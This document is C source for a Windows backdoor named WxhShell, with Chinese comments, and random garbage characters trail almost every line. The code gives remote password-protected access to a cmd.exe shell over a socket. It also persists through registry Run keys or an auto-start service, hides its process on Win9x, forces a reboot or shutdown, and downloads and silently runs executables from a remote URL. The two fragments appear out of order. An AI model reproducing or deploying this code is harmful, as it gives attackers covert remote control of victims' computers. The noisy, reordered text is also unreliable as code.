    } @;"HslU\Q  
    break; O}*[@uv/  
    } xT#j-T  
  // 获取shell %j^[%&pT  
  case 's': { @G~T&6E!  
    CmdShell(wsh); My&h{Qk  
    closesocket(wsh); i:ZpAo+Z{  
    ExitThread(0); tE/j3  
    break; 'd D d9  
  } ~^UQw? ;  
  // 退出 m%X~EwFc.  
  case 'x': { v1 d]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K%Vl:2#F  
    CloseIt(wsh); ICTl{|i ]  
    break; #(?EL@5  
    } 8Tyf#`'I  
  // 离开 K!lGo3n]  
  case 'q': { A=Q"IdK  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /9/=]  
    closesocket(wsh); 3&/5!zOg)  
    WSACleanup(); (B.J8`h }  
    exit(1); vA10'Gx'  
    break; b6 &`]O;%  
        } C6Ap  4  
  } jt@k< #h~  
  } \=?f4*4|/  
Klzsr,  
  // 提示信息 @f-0OX$*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u0^GB9q  
} D[x0sly  
  } l Ztq_* Fl  
(@vu/yN  
  return; n"Ot'1yr  
} '3 xvQFg  
=1!wep"  
// shell模块句柄 ~ T|?!zML  
int CmdShell(SOCKET sock) JM0'V0z  
{ WJ9Jj69  
STARTUPINFO si; {*bXO8vi((  
ZeroMemory(&si,sizeof(si)); l}&egq DC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n9B1NM5 \  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jFZJ #'CNS  
PROCESS_INFORMATION ProcessInfo; 3l0x~  
char cmdline[]="cmd"; -5l74f!i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *6cP-Vzd  
  return 0; CP)x;  
} 4Cr |]o'  
3 (Kj|u  
// 自身启动模式 1C6H\;  
int StartFromService(void) we9R4 *j  
{ #qi@I;;t  
typedef struct m2AA:u_*j  
{ 8p  }E  
  DWORD ExitStatus; i:0~%X  
  DWORD PebBaseAddress; bEfxu;Su 3  
  DWORD AffinityMask; UxzZr%>s  
  DWORD BasePriority; oIdMDp^$  
  ULONG UniqueProcessId; J GnL[9P_  
  ULONG InheritedFromUniqueProcessId; A_6b 4T  
}   PROCESS_BASIC_INFORMATION; IKb 7#Ut  
lwIU|T<4  
PROCNTQSIP NtQueryInformationProcess; 6 :K~w<mMJ  
I9h?Z&n5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3rhH0{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V7.xKmB  
rLGh>bw#`3  
  HANDLE             hProcess; r4D*$H-rR  
  PROCESS_BASIC_INFORMATION pbi; hhLEU_U  
HA&][%^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'oBT*aL  
  if(NULL == hInst ) return 0; P^#<h"Ht  
a$.(Zl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f' Dl*d  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); v?F~fRH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6H\3  
UbE*x2N  
  if (!NtQueryInformationProcess) return 0; c~[L ;_  
J b Hn/$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MQ9 9fD$  
  if(!hProcess) return 0; $rD&rsx6  
7 [N1Vr(1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OWT5Bjl  
3#}5dO  
  CloseHandle(hProcess); ?u{y[pI6  
 ~,Ck  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ho9 a#9  
if(hProcess==NULL) return 0; Z.Z+cFi  
R_eKKi@VH  
HMODULE hMod; l 3bo  
char procName[255]; BFc=GiPnQ  
unsigned long cbNeeded; # kl?ww U  
'kPc`) \  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {]]qd!,  
\^or l9  
  CloseHandle(hProcess); DfgqB3U[  
P#-Ye<V~J(  
if(strstr(procName,"services")) return 1; // 以服务启动 d#cw`h<c~  
a^t#kdT  
  return 0; // 注册表启动 Eqj&SA  
} /DA'p[,  
6 6WAD$8$  
// 主模块 Ll\y2oJ  
int StartWxhshell(LPSTR lpCmdLine) RZi]0l_A'  
{ }D j W  
  SOCKET wsl; : &>PN,q>  
BOOL val=TRUE; zBV7b| j  
  int port=0; A q;]al  
  struct sockaddr_in door; 3QM6M9M  
4Z5ZV!  
  if(wscfg.ws_autoins) Install(); 9#L0Q%,*  
9E~=/Q=  
port=atoi(lpCmdLine); . S4Xw2MS  
ohklLZoZ  
if(port<=0) port=wscfg.ws_port; me"}1REa  
%/NB263Db  
  WSADATA data; }w ^Hm3Y^&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^3 C8GzOsO  
AAUFX/}8P  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A J<Sa=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4Ynv=G Qz  
  door.sin_family = AF_INET; u+"3l@Y#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \tH^w@j47  
  door.sin_port = htons(port); bII pJQ1.[  
Xg E\q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *o <S{  
closesocket(wsl); i_8v >F  
return 1; 97;`R[^J  
} N K.]yw'  
77?/e^K\S  
  if(listen(wsl,2) == INVALID_SOCKET) { xsn2Qn/P  
closesocket(wsl); UPQ?vh2F2  
return 1; wxU@M1w}  
} hF|N81T  
  Wxhshell(wsl); l0N~mes  
  WSACleanup(); HE#IJB6BS?  
2 ZW {  
return 0; NN\>( =  
a~jU~('4}w  
} KPc`5X  
U7i WYdt$  
// 以NT服务方式启动 Hz39v44  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b8Gu<Q1k  
{ r&6X|2@  
DWORD   status = 0; C.`C T7  
  DWORD   specificError = 0xfffffff; FJxg9!%d  
[xW;5j<87  
  serviceStatus.dwServiceType     = SERVICE_WIN32; yh~*Kt]9Ya  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Bc{j0Su  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sI>I  
  serviceStatus.dwWin32ExitCode     = 0; &f48MtE  
  serviceStatus.dwServiceSpecificExitCode = 0; [H ^ ktF  
  serviceStatus.dwCheckPoint       = 0; /Ilve U`E  
  serviceStatus.dwWaitHint       = 0; H8@1Kt  
_M[@a6?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p,#t[K  
  if (hServiceStatusHandle==0) return; ypyqf55gK  
N 0<([B;  
status = GetLastError(); &5k$ v^W5  
  if (status!=NO_ERROR) HoE@t-S  
{ 5eS0 B{,c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; CWF(OMA  
    serviceStatus.dwCheckPoint       = 0; UqHk2h-  
    serviceStatus.dwWaitHint       = 0; x~3N})T5  
    serviceStatus.dwWin32ExitCode     = status; ;\1/4;m  
    serviceStatus.dwServiceSpecificExitCode = specificError; zY_?$9l0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mk*r^k`a  
    return; ]vQU(@+I  
  } ( L 8V)1N  
krSOSW J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Cj10?BNV)  
  serviceStatus.dwCheckPoint       = 0; $=ua$R4Z+  
  serviceStatus.dwWaitHint       = 0; 1 F+$\fLr  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y![//tg  
} @"vTz8oY@  
+9NI=s6  
// 处理NT服务事件,比如:启动、停止 OlcWptM$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A5 <T7~U  
{ {^N90,!  
switch(fdwControl) dMDSyd<(  
{ Uv|^k8(  
case SERVICE_CONTROL_STOP: V5up/6b,1  
  serviceStatus.dwWin32ExitCode = 0; gMB/ ~g5b0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *<l9d  
  serviceStatus.dwCheckPoint   = 0; `XK+Y  
  serviceStatus.dwWaitHint     = 0; ,&aD U  
  { x67,3CLy?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |n %<p  
  } N,?D<NjXl  
  return; wg{Y6X yH  
case SERVICE_CONTROL_PAUSE: W}.p,d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =G-u "QJ6  
  break; InfUH8./t  
case SERVICE_CONTROL_CONTINUE: .9u,54t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !k0t (.  
  break; 1Jn:huV2  
case SERVICE_CONTROL_INTERROGATE: P#x]3j]  
  break; F/chE c V  
}; *+>R^\uT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [.*o< KP  
} jY8u1z  
n 7 m!   
// 标准应用程序主函数 VkDFR [k_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n$YCIW )0  
{ x|IG'R1:Y  
<B =!ZC=n  
// 获取操作系统版本 8- ]7>2?_  
OsIsNt=GetOsVer(); :>GT<PPD;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i4*!t.eI  
D[iIj_CKQ  
  // 从命令行安装 6P:H`  
  if(strpbrk(lpCmdLine,"iI")) Install(); WX9pJ9d  
4,g3 c  
  // 下载执行文件 D:Y `{{  
if(wscfg.ws_downexe) { g+iV0bbT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j])nkm7_  
  WinExec(wscfg.ws_filenam,SW_HIDE); dk9nhS+faJ  
} [j`-R 0Np  
ofA6EmQ37  
if(!OsIsNt) { Q|W!m0XO  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,*$/2nB^  
HideProc(); R(sa.Q\D4  
StartWxhshell(lpCmdLine); .5m^)hi  
} lt&30nf=  
else AFcA5: ja  
  if(StartFromService()) 1yIo 'i1  
  // 以服务方式启动 umWZ]8  
  StartServiceCtrlDispatcher(DispatchTable); ,As78^E{  
else |fk,&5s  
  // 普通方式启动 v1j]&3O  
  StartWxhshell(lpCmdLine); .iL_3:6f  
ljrA^P ,>P  
return 0; 9N'um%J3%s  
} d4P0f'.z  
x6x6N&f?  
|k4ZTr]?  
\'L6m1UZ%  
=========================================== K,IPVjS  
{&c%VVZb:Z  
^JMSe-  
N2_=^s7  
n~d`PGs?f  
[]Z| *+=Q  
" o/fq  
+Hb6j02#  
#include <stdio.h> >gr6H1  
#include <string.h> Ffm Q$>S  
#include <windows.h> NoJo-vo*  
#include <winsock2.h> FK#>E[[  
#include <winsvc.h> % KY&E>^  
#include <urlmon.h> gHlahg  
S@7A)  
#pragma comment (lib, "Ws2_32.lib") " I@Z:[=2  
#pragma comment (lib, "urlmon.lib") M{7EFTy!y  
Te> 7I  
#define MAX_USER   100 // 最大客户端连接数 5.|rzk>  
#define BUF_SOCK   200 // sock buffer _V{WXsOx(  
#define KEY_BUFF   255 // 输入 buffer j<+iL]b  
A}\Rms 2  
#define REBOOT     0   // 重启 yHt63z8'  
#define SHUTDOWN   1   // 关机 (cYc03"  
_jZDSz|Yb  
#define DEF_PORT   5000 // 监听端口 V_}`2.Pg  
&nn.h@zje  
#define REG_LEN     16   // 注册表键长度 xm YA/wt8  
#define SVC_LEN     80   // NT服务名长度 r+0)l:{.  
N"t, 6tH  
// 从dll定义API XpH[SRUx  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); & ,&+/Sr11  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1}8e@`G0.]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); MO#%w  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +d6E)~qKL  
z7PPwTBa  
// wxhshell配置信息 hkU# lt  
struct WSCFG { o JA58/  
  int ws_port;         // 监听端口 LwGcy1F.  
  char ws_passstr[REG_LEN]; // 口令 =,@SZsM*B  
  int ws_autoins;       // 安装标记, 1=yes 0=no *=/XlSWF  
  char ws_regname[REG_LEN]; // 注册表键名 g>im2AD+e  
  char ws_svcname[REG_LEN]; // 服务名 KH KqE6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9D#PO">|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \R-u+ci$ZY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TVFGonVY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ao-C9|2>NU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cE*|8'rSf  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u8 <=FV3  
*q0N$}k  
}; 6U /wFT!7$  
VS).!;>z  
// default Wxhshell configuration ;JmD(T7{  
struct WSCFG wscfg={DEF_PORT, `a6;*r y  
    "xuhuanlingzhe", Xj-3C[ 8@  
    1, kcYR:;y  
    "Wxhshell", S,8zh/1y  
    "Wxhshell", T]vD ,I+  
            "WxhShell Service", z{n=G  
    "Wrsky Windows CmdShell Service", |;_ yAL  
    "Please Input Your Password: ", #SqOJX~Q  
  1, 0"QE,pLe4  
  "http://www.wrsky.com/wxhshell.exe", %eah=e  
  "Wxhshell.exe" e.jgV=dT-  
    }; 8@qahEgQ  
gvU6p[D  
// 消息定义模块 p5H Mg\hT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'Aqmf+Mm  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b]Y,& 8}[+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =az$WRV+7!  
char *msg_ws_ext="\n\rExit."; cu"%>>,,  
char *msg_ws_end="\n\rQuit."; \D[BRE+  
char *msg_ws_boot="\n\rReboot..."; {'ZnxK'  
char *msg_ws_poff="\n\rShutdown..."; 4YCGh  
char *msg_ws_down="\n\rSave to "; /.?\P#9)  
*@ o3{0[Z  
char *msg_ws_err="\n\rErr!"; @E)XT\;3  
char *msg_ws_ok="\n\rOK!"; .U3p~M+  
vK{K#{  
char ExeFile[MAX_PATH]; *= 71/&B  
int nUser = 0; "D k:r/  
HANDLE handles[MAX_USER];  A:!{+  
int OsIsNt; 5cADC`q  
!^7:Rr _  
SERVICE_STATUS       serviceStatus; &q U[ wn:1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5a`}DTB[Co  
Qh[t##I/  
// 函数声明 5R Hs  
int Install(void); v\ox:C  
int Uninstall(void);  @bx2=  
int DownloadFile(char *sURL, SOCKET wsh); |<V{$),k  
int Boot(int flag); b?$09,{0  
void HideProc(void); (NQ[AypMI  
int GetOsVer(void); q- Qws0\v.  
int Wxhshell(SOCKET wsl); *O5+?J Z!  
void TalkWithClient(void *cs); d5\1-d_uz  
int CmdShell(SOCKET sock); } :mI6zsNj  
int StartFromService(void); ws=TR  
int StartWxhshell(LPSTR lpCmdLine); >guQY I@4,  
GEA;9TU|V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y'5ck(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); fUXp)0O  
wl%1B64  
// 数据结构和表定义 >+#[O"  
SERVICE_TABLE_ENTRY DispatchTable[] = twtDyo(\  
{ 6S<$7=$ =  
{wscfg.ws_svcname, NTServiceMain}, @\y7 9FX  
{NULL, NULL} *LRGfk+h  
}; A E711l-  
3EvA 5K.  
// 自我安装 'dzp@-\  
int Install(void) ge[i&,.&z  
{ DX"; v J  
  char svExeFile[MAX_PATH]; iV&#5I  
  HKEY key; UjaC( c  
  strcpy(svExeFile,ExeFile); @nP}q!y  
>{S$0D  
// 如果是win9x系统,修改注册表设为自启动 co3 ,8\N0  
if(!OsIsNt) { pqSE|3*l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (UZ*36@PJx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X$9QW3.M  
  RegCloseKey(key); fhmr*E'J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b-?o?}*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d_+8=nh3  
  RegCloseKey(key); O+?zn:  
  return 0; Q*.FUV&;  
    } <k](s  
  } ugB{2oqi  
} \z9?rvT:  
else { #!jRY!2Vt  
<o+ 7U  
// 如果是NT以上系统,安装为系统服务 "yTh +=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :dN35Y]a  
if (schSCManager!=0) b3xkJ&Z  
{ dV{Hn {(  
  SC_HANDLE schService = CreateService d~jtWd|?  
  ( ?(q*U!=  
  schSCManager, i4n b#  
  wscfg.ws_svcname, 'w[d^L   
  wscfg.ws_svcdisp, *\KMkx  
  SERVICE_ALL_ACCESS, nn L$m_K~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t`T\d\  
  SERVICE_AUTO_START, 15 o.j!S  
  SERVICE_ERROR_NORMAL, 6 ]PM!6  
  svExeFile, N&APqT  
  NULL, xH_ie  
  NULL, P0ltN  
  NULL, BG:`Fq"T  
  NULL, +?Jk@lE<  
  NULL o U}t'WU  
  ); K#UA M .  
  if (schService!=0) l5';?>!s  
  { CS5jJi"pD3  
  CloseServiceHandle(schService); $Kz\ h#}  
  CloseServiceHandle(schSCManager); >|/ ? Up  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o|qeh<2=x  
  strcat(svExeFile,wscfg.ws_svcname); 62)lf2$1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ru/zLj:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RO$ @>vL  
  RegCloseKey(key); V,XP&,no\j  
  return 0; 9`C iE  
    } +%}5{lu_e  
  } "aWX:WL&}s  
  CloseServiceHandle(schSCManager); ;}eEG{`Y  
} 7 Mki?EG  
} 9hR:y.  
*KjVPs  
return 1; 0Dm`Ek3A7x  
} )_ b@~fC  
2gL[\/s  
// 自我卸载 ^dUfTG9{  
int Uninstall(void) ADyNNMcx  
{ ;;y@z[ >  
  HKEY key; eW"x%|/Q7  
0(9I\j5`TT  
if(!OsIsNt) { 8?j&{G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oj^5G ]_ <  
  RegDeleteValue(key,wscfg.ws_regname); >OKS/(I0  
  RegCloseKey(key); krr-ZiK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K*Nb_|~  
  RegDeleteValue(key,wscfg.ws_regname); n$hqNsM  
  RegCloseKey(key); ;ad9{":J#B  
  return 0; uF]D  
  } cu479VzPx:  
} 5gc:Y`7t  
} dWW-tHv#  
else { dS3>q<J*a  
hHfe6P |  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'TK$ndy;7}  
if (schSCManager!=0) VRd:2uDS  
{ )WP]{ W)r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (}*\ {  
  if (schService!=0) NWQPOq#  
  { GFQG(7G9  
  if(DeleteService(schService)!=0) { 1F3QI|  
  CloseServiceHandle(schService); ^^4K/XBve  
  CloseServiceHandle(schSCManager); pu2wEQ  
  return 0; (b`4&sQ<  
  } bG5^h  
  CloseServiceHandle(schService); Ersr\ZB  
  } 33{;[/4  
  CloseServiceHandle(schSCManager); t3  uB  
} w L/p.@  
} VeNNsg>&  
@H3s2|  
return 1; k\mXo-:V6  
} #|{BGVp  
!~lVv&YO  
// 从指定url下载文件 b[{m>Fa+o#  
int DownloadFile(char *sURL, SOCKET wsh) (opROsFh  
{ `zElBD  
  HRESULT hr; 80FCe(U  
char seps[]= "/"; c]s (u+i  
char *token; wc6 E- rB  
char *file; a<57(Sf  
char myURL[MAX_PATH]; =1{H Sf  
char myFILE[MAX_PATH]; xE G+%Uk{  
vCy.CN$  
strcpy(myURL,sURL); %Lh-aP{[e  
  token=strtok(myURL,seps); RMS.1:O  
  while(token!=NULL) ;_?zB NW  
  { c{'$=lR "  
    file=token; Eonq'Re$  
  token=strtok(NULL,seps); LKK{j,g7  
  } '|YtNhWZ?  
V9+xL 1U#  
GetCurrentDirectory(MAX_PATH,myFILE); 4B:\  
strcat(myFILE, "\\"); ALE808;|  
strcat(myFILE, file); E<D+)A  
  send(wsh,myFILE,strlen(myFILE),0); Ap F*a$),  
send(wsh,"...",3,0); \b_-mnN"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !XgQJ7y_Z  
  if(hr==S_OK) `7u\   
return 0; 3n.+_jQ>s  
else (,- 5(fW  
return 1; ]yyU)V0Iu  
f0-RhR  
} lEO?kn.:z  
B8bvp:Ho|  
// 系统电源模块 Bl kSWW/  
int Boot(int flag) K:}h\ In  
{ 3q'K5} _  
  HANDLE hToken; 4u3 \xR?w6  
  TOKEN_PRIVILEGES tkp; httls>:xB|  
^z[_U}N\}  
  if(OsIsNt) { |RHO+J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z{_mEE49  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fl!mYCPv  
    tkp.PrivilegeCount = 1; '4af ],  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y h^WTysBn  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); B*9  
if(flag==REBOOT) { ::4"wU3t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `^O'V}T  
  return 0; f2uZK!:m  
} X }m7@r@  
else { $@_YdZ!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b cC\  
  return 0; *Zc9yZl2  
} H"2U)HJl  
  }  ]a78tTi  
  else { @; W<dJ<X  
if(flag==REBOOT) { b0y-H/d/}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vad|Rpl  
  return 0; ^it4z gx@  
} dz8-):  
else {  UP\8w#~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ].LJt['%8  
  return 0; Xfj)gPt}  
} jjxIS  
} A$/KP\0Y2  
.=?Sz*3  
return 1; 4DvdE t  
} ymHKcQ  
|d5ggf .w  
// win9x进程隐藏模块 1Pu ,:Jt  
void HideProc(void) O\%j56Bf  
{ ty':`)  
N[>:@h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z&TD+fT<  
  if ( hKernel != NULL ) AlUJ1^o)  
  { H1Q''$}Z.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F/)f,sZF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <|otZJ'2r  
    FreeLibrary(hKernel); aWdUuid  
  } Pv#KmSA9  
m{VL\ g)  
return; P1$f}K}  
} e "_&z# 2_  
0"hiCGm'  
// 获取操作系统版本 S45'j(S=  
int GetOsVer(void) yz2(_@R  
{ 'HCnB]1  
  OSVERSIONINFO winfo; k@7kNMl  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =<Hy"4+?.  
  GetVersionEx(&winfo); FWIih5 3`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L+Eu d  
  return 1; %z=`JhE"Q  
  else }lH;[+u3  
  return 0; [ ynuj3G V  
} D$ej+s7  
^[0" vtb  
// 客户端句柄模块 0Qt~K#mr/  
int Wxhshell(SOCKET wsl) |l$ u<3  
{ f KHse$?_  
  SOCKET wsh; ci;&CHa  
  struct sockaddr_in client; 6I"C~&dt  
  DWORD myID; a"k'm}hVY$  
Rw/Ciw2@?  
  while(nUser<MAX_USER) xwi!:PAf,o  
{ CNq[4T'~A  
  int nSize=sizeof(client); Jlz9E|*qV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rJX\6{V!_  
  if(wsh==INVALID_SOCKET) return 1; ZxI]I1)  
w\p9J0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |ebvx?\  
if(handles[nUser]==0) {|Bd?U;  
  closesocket(wsh); zqY)dk  
else \d:h$  
  nUser++; 6oYIQ'hc  
  } 3Mur*tj#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ep<YCSQy$i  
:4U0I:J#  
  return 0; 'P,,<nkr|  
} moaodmt]x  
?@>;/@  
// 关闭 socket !M,h79NM  
void CloseIt(SOCKET wsh) oikxg!0S  
{ -nOq\RYV  
closesocket(wsh); MJA~jjy4  
nUser--; 86y%=!bS  
ExitThread(0); brfKd]i  
} g9`[Y~  
 9|<Be6  
// 客户端请求句柄 .N!{ U  
void TalkWithClient(void *cs) dGU8+)2cn  
{ Qne0kB5m  
H@Q`  
  SOCKET wsh=(SOCKET)cs; h mds(lv7  
  char pwd[SVC_LEN]; W~<m[#:6C  
  char cmd[KEY_BUFF]; %6Rn4J^^  
char chr[1]; # 3.\j"b  
int i,j; 8ZW?|-i  
"9%q bM B  
  while (nUser < MAX_USER) { ^j[Ku  
GyuV %  
if(wscfg.ws_passstr) { .$P|^Zx,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )d:K:YXt  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3(C :X1  
  //ZeroMemory(pwd,KEY_BUFF); aiJnfU]W  
      i=0; _0.pvQ  
  while(i<SVC_LEN) { 6< >SHw  
@0D![oA  
  // 设置超时 Nq_A8Ph9  
  fd_set FdRead; nc&Jmo7  
  struct timeval TimeOut; yjFe'  
  FD_ZERO(&FdRead); JN|VPvjE   
  FD_SET(wsh,&FdRead); SOs,)  
  TimeOut.tv_sec=8; @C=M UT-!  
  TimeOut.tv_usec=0; P:^=m*d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  VGB-h'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M%|f+u&  
VAs ( .y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1AT'S;`  
  pwd=chr[0]; -%H%m`wD  
  if(chr[0]==0xd || chr[0]==0xa) { n]v7V&mj\  
  pwd=0; @mNJ=mEV  
  break; LN\[Tmd &  
  } -bm,:Iy!  
  i++; `s%QeAde  
    } (A uPZ  
Hd374U<8]T  
  // 如果是非法用户,关闭 socket  NpR6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nj  
} -X8eabb  
S>#R_H<(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); OX^3Q:Z=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -njQc:4W,-  
e#khl9j*bt  
while(1) { ]F+K|X9-  
cix36MR_  
  ZeroMemory(cmd,KEY_BUFF); +Vy_9I(4Z  
d;44;*D  
      // 自动支持客户端 telnet标准   B9^R8|V  
  j=0; K:_($X]  
  while(j<KEY_BUFF) { ;UpJ=?W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (bvoF5%  
  cmd[j]=chr[0]; nvH|Ngg Q  
  if(chr[0]==0xa || chr[0]==0xd) { /AR]dcL@76  
  cmd[j]=0; o\goE^,aeR  
  break; ="dDA/,$VS  
  } NnOI:X {  
  j++; `pm>'  
    } k!owl+a   
+$,dwyI2t  
  // 下载文件 `)tA YH  
  if(strstr(cmd,"http://")) { _Ex|f5+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >{t+4p4k.  
  if(DownloadFile(cmd,wsh)) `< Yf{'*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); TVeJ6  
  else Y&GuDLUF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q.ukY@L.'  
  } L[]BzsIv  
  else { s5A gsMq  
R@n5AN(  
    switch(cmd[0]) { s.rT]  
  ANb"oX c  
  // 帮助 <T4(H[9B  
  case '?': { ^1VbH3M  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); choL %g}  
    break; RH~sbnZ)F  
